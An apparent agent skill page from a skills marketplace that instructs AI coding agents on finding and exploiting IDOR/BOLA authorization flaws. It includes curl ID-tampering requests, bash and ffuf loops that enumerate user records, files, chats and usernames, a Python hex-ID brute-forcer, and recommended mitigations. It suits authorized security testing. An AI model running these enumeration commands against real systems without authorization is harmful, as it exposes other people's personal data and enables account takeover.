# Idor Bola Testing

> How to find and exploit IDOR (Insecure Direct Object Reference) and BOLA (Broken Object Level Authorization) vulnerabilities in web applications and APIs. Use this skill whenever the user mentions IDOR, BOLA, authorization testing, object-level access control, parameter tampering, user ID enumeration, or wants to test if endpoints properly verify that callers are authorized to access specific objects. Make sure to use this skill for any web security testing involving user IDs, order IDs, file IDs, or any object references in URLs, query parameters, request bodies, or headers.

- Skill: `abelrguezr/idor-bola-testing` (Agent Skill, multi-file: 7 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/idor-bola-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/idor-bola-testing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/idor-bola-testing

---


# IDOR/BOLA Testing Skill

This skill helps you identify and exploit Insecure Direct Object Reference (IDOR) and Broken Object Level Authorization (BOLA) vulnerabilities in web applications and APIs.

## What is IDOR/BOLA?

IDOR/BOLA occurs when a web or API endpoint accepts a user-controllable identifier that is used **directly** to access an internal object **without verifying that the caller is authorized** to access or modify that object.

**Impact:**
- Horizontal privilege escalation (access other users' data)
- Vertical privilege escalation (gain admin functionality)
- Mass data breaches (sequential IDs)
- Account takeover (steal tokens, reset passwords)

---

## 1. Finding Potential IDORs

### Step 1: Identify Object References

Look for parameters that reference objects in these locations:

**URL Path:**
- `/api/user/1234`
- `/files/550e8400-e29b-41d4-a716-446655440000`

**Query Parameters:**
- `?id=42`
- `?invoice=2024-00001`

**Request Body (JSON):**
```json
{"user_id": 321, "order_id": 987}
```

**Headers/Cookies:**
- `X-Client-ID: 4711`

### Step 2: Prioritize Endpoints

Focus on endpoints that **read or update** data:
- `GET` - data retrieval
- `PUT`/`PATCH` - data modification
- `DELETE` - data removal

### Step 3: Check ID Predictability

Note when identifiers are **sequential or predictable**:
- If your ID is `64185742`, then `64185741` probably exists
- Auto-increment IDs are high-risk
- UUIDs/ULIDs are lower-risk but still testable

### Step 4: Test with Low-Privilege Session

1. Authenticate as a **low-privilege user**
2. Change only the **ID parameter**
3. Keep the **same token/cookie**
4. **No authorization error** = likely IDOR

---

## 2. Manual Testing

### Basic ID Tampering

Use Burp Repeater or curl to modify object IDs:

```bash
# Example: Modify lead_id to access another user's data
curl -X PUT 'https://target.com/api/lead/cem-xhr' \
     -H 'Content-Type: application/json' \
     -H "Cookie: auth=$YOUR_SESSION" \
     -d '{"lead_id":64185741}'
```

**What to look for:**
- Same response structure with different user's data
- No 403/401 errors when accessing other users' objects
- JWT tokens or session data in responses

---

## 3. Automated Enumeration

### Sequential ID Enumeration

For predictable numeric IDs, enumerate the range:

```bash
# Sequential ID sweep
for id in $(seq 64185742 64185700); do
  curl -s -X PUT 'https://target.com/api/lead/cem-xhr' \
       -H 'Content-Type: application/json' \
       -H "Cookie: auth=$TOKEN" \
       -d '{"lead_id":'$id'}' | jq -e '.email' && echo "Hit $id";
done
```

### File Download ID Enumeration (ffuf)

For file hosting panels with endpoints like `/download.php?id=<int>`:

```bash
ffuf -u http://target.com/download.php?id=FUZZ \
  -H "Cookie: PHPSESSID=<session>" \
  -w <(seq 0 6000) \
  -fr 'File Not Found' \
  -o hits.json

# Extract valid URLs
jq -r '.results[].url' hits.json
```

**Key flags:**
- `-fr` removes 404-style responses, keeping only true hits
- `-o` saves results for post-processing

### Multi-Parameter ID Fuzzing

For endpoints accepting multiple IDs (e.g., chat between users):

```bash
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
  -w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
  -H 'Cookie: PHPSESSID=<session>' \
  -ac -o chats.json -of json

# Remove symmetric duplicates (A,B) vs (B,A)
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
```

### Error-Response Oracle Enumeration

When endpoints return different errors for different conditions:

```bash
# Enumerate valid usernames via error messages
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
  -b 'PHPSESSID=<session-cookie>' \
  -w /opt/SecLists/Usernames/Names/names.txt \
  -fr 'User not found'

# Once valid users found, request specific files
# /view.php?username=amanda&file=privacy.odt
```

**Error patterns to exploit:**
- Non-existent username → "User not found"
- Bad filename but valid extension → "File does not exist"
- Bad extension → validation error

---

## 4. Encoded ID Testing

### Hex/Base64 Encoded IDs

Encoding does **not** add entropy. Test encoded IDs:

```python
import requests

def to_hex(s):
    return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
    hex_id = to_hex(band_id)
    r = requests.get("https://target.com/api", params={"id": hex_id})
    if r.ok and "media" in r.text:
        print(band_id, "->", r.json())
```

**Burp Intruder approach:**
1. Build candidate IDs (e.g., `[A-Z]-###-###`)
2. Use **Pitchfork** or **Cluster Bomb** attack
3. Add **payload processing rule** → ASCII hex encoding
4. Grep-match for valid response markers

---

## 5. Validation Checklist

After finding a potential IDOR, verify:

- [ ] Can you access data from **multiple different users**?
- [ ] Does the vulnerability work with **different ID ranges**?
- [ ] Are there **rate limits** preventing enumeration?
- [ ] Can you **modify** data, not just read it?
- [ ] Does it affect **admin-only** endpoints (vertical escalation)?
- [ ] Are there **tokens or session data** exposed?

---

## 6. Mitigations to Recommend

When reporting IDOR findings, recommend:

1. **Enforce object-level authorization** on every request (`user_id == session.user`)
2. **Prefer indirect, unguessable identifiers** (UUIDv4, ULID) over auto-increment IDs
3. **Perform authorization server-side**, never rely on hidden form fields or UI controls
4. **Implement RBAC/ABAC** checks in central middleware
5. **Add rate-limiting & logging** to detect ID enumeration
6. **Security test every new endpoint** (unit, integration, DAST)

---

## 7. Tooling

**Burp Suite Extensions:**
- Authorize - test authorization across users
- Auto Repeater - automate request modification
- Turbo Intruder - high-speed fuzzing

**OWASP ZAP:**
- Auth Matrix - test authorization matrices
- Forced Browse - discover hidden endpoints

**Open Source Tools:**
- `bwapp-idor-scanner` - automated IDOR detection
- `Blindy` - bulk IDOR hunting

---

## Quick Reference

**Common IDOR patterns:**
- `/api/user/<id>` - user data access
- `/files/<id>` - file downloads
- `?order_id=<id>` - order information
- `?invoice=<id>` - invoice data
- `X-Client-ID: <id>` - client-specific data

**Response indicators of IDOR:**
- Same response structure with different user data
- No 403/401 when accessing other users' objects
- JWT tokens or session data in responses
- Different error messages for different ID types

**When to escalate:**
- Mass data exposure (millions of records)
- Admin functionality accessible
- Token/session hijacking possible
- PII or sensitive data exposed

